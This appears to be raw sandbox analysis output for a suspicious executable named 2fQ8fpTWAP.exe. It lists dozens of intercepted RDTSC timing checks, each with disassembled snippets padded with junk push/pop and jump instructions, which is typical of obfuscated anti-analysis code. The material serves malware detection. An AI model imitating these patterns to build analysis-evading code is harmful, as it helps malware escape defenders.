Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 854409 second address: 854450 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7A2D39F16Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F7A2D39F174h 0x00000014 popad 0x00000015 pushad 0x00000016 jns 00007F7A2D39F166h 0x0000001c jmp 00007F7A2D39F174h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 854450 second address: 854455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 854455 second address: 85446B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F171h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 85446B second address: 854473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8545CC second address: 8545D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8545D5 second address: 8545E1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8545E1 second address: 8545FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F7A2D39F16Bh 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 85490D second address: 854913 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 854B7D second address: 854B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7A2D39F16Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 854B8C second address: 854B91 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 854B91 second address: 854B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 854B97 second address: 854BB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F7A2CC6ACF9h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 854BB9 second address: 854BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 854BBD second address: 854BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jl 00007F7A2CC6ACE6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 854BD0 second address: 854C04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F7A2D39F16Dh 0x0000000e jmp 00007F7A2D39F178h 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 854F15 second address: 854F1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 854F1B second address: 854F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 856150 second address: 85615C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7A2CC6ACE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 85615C second address: 856175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7A2D39F174h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 853F86 second address: 853FB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F7A2CC6ACF0h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F7A2CC6ACF6h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 853FB7 second address: 853FD5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7A2D39F179h 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 85CA5A second address: 85CA60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 85C42B second address: 85C47A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F7A2D39F172h 0x0000000a jbe 00007F7A2D39F166h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F7A2D39F170h 0x0000001a jnl 00007F7A2D39F17Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 85C47A second address: 85C496 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jbe 00007F7A2CC6ACE6h 0x0000000b jg 00007F7A2CC6ACE6h 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 jl 00007F7A2CC6ACECh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 85C777 second address: 85C794 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F7A2D39F172h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 869C18 second address: 869C23 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 869C23 second address: 869C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 869C29 second address: 869C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7A2CC6ACEAh 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 86FB39 second address: 86FB47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007F7A2D39F166h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 86FB47 second address: 86FB4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 86F879 second address: 86F880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 86F880 second address: 86F885 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 87443D second address: 87445B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7A2D39F17Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 87445B second address: 874461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 874461 second address: 874465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 87BA20 second address: 87BA24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 88663C second address: 886641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 886641 second address: 886647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 885341 second address: 885345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 885345 second address: 885355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A2CC6ACEAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 885355 second address: 88535B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 88535B second address: 885361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 885361 second address: 885365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 885505 second address: 885509 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8857C5 second address: 885810 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F16Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a pushad 0x0000000b jng 00007F7A2D39F17Ch 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F7A2D39F174h 0x00000018 jmp 00007F7A2D39F178h 0x0000001d push ecx 0x0000001e push edi 0x0000001f pop edi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 886323 second address: 886343 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 886343 second address: 886347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 886347 second address: 88634D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 889024 second address: 889038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jg 00007F7A2D39F16Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 889038 second address: 88904D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 88904D second address: 889051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 888D12 second address: 888D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 888D1B second address: 888D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F7A2D39F166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 888D25 second address: 888D39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 888D39 second address: 888D40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 888D40 second address: 888D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F7A2CC6ACE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8938D0 second address: 8938D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8938D8 second address: 8938EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 pop eax 0x0000000a jne 00007F7A2CC6ACE6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8968EA second address: 8968FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jp 00007F7A2D39F166h 0x0000000d pop ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8968FB second address: 896901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8A8D4B second address: 8A8D78 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7A2D39F166h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007F7A2D39F177h 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007F7A2D39F166h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8C7397 second address: 8C73C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A2CC6ACEFh 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7A2CC6ACF1h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8C73C0 second address: 8C73C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8C751A second address: 8C7532 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8C7FF7 second address: 8C801A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F173h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F7A2D39F166h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8C801A second address: 8C801E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8C9DCC second address: 8C9DEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7A2D39F177h 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8C9DEE second address: 8C9DFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8CB447 second address: 8CB452 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F7A2D39F166h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8CDDE4 second address: 8CDDEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8CDDEA second address: 8CDDEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8CDDEE second address: 8CDE0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e pushad 0x0000000f jmp 00007F7A2CC6ACEEh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8CE052 second address: 8CE058 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8CE058 second address: 8CE05C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8CE103 second address: 8CE107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8CE107 second address: 8CE10D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8CF679 second address: 8CF687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F7A2D39F166h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8CF687 second address: 8CF68C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8CF68C second address: 8CF696 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7A2D39F172h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8D1378 second address: 8D138A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F7A2CC6ACECh 0x0000000c ja 00007F7A2CC6ACE6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8D2E20 second address: 8D2E26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 8D2E26 second address: 8D2E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7A2CC6ACE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F70DCF second address: 4F70E40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2D39F16Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F7A2D39F170h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F7A2D39F16Dh 0x0000001a xor si, 96A6h 0x0000001f jmp 00007F7A2D39F171h 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007F7A2D39F170h 0x0000002b sbb eax, 133D7C48h 0x00000031 jmp 00007F7A2D39F16Bh 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60E47 second address: 4F60E4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60E4D second address: 4F60E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60E51 second address: 4F60E79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A2CC6ACEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7A2CC6ACF4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60E79 second address: 4F60E8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A2D39F16Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60E8B second address: 4F60E8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60E8F second address: 4F60EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7A2D39F179h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60EB5 second address: 4F60EBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60EBB second address: 4F60EF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 mov di, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F7A2D39F16Eh 0x00000015 add al, 00000008h 0x00000018 jmp 00007F7A2D39F16Bh 0x0000001d popfd 0x0000001e mov ecx, 51BDA87Fh 0x00000023 popad 0x00000024 pop ebp 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 push esi 0x00000029 pop edi 0x0000002a rdtsc
Source: C:\Users\user\Desktop\2fQ8fpTWAP.exe	RDTSC instruction interceptor: First address: 4F60EF4 second address: 4F60EF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
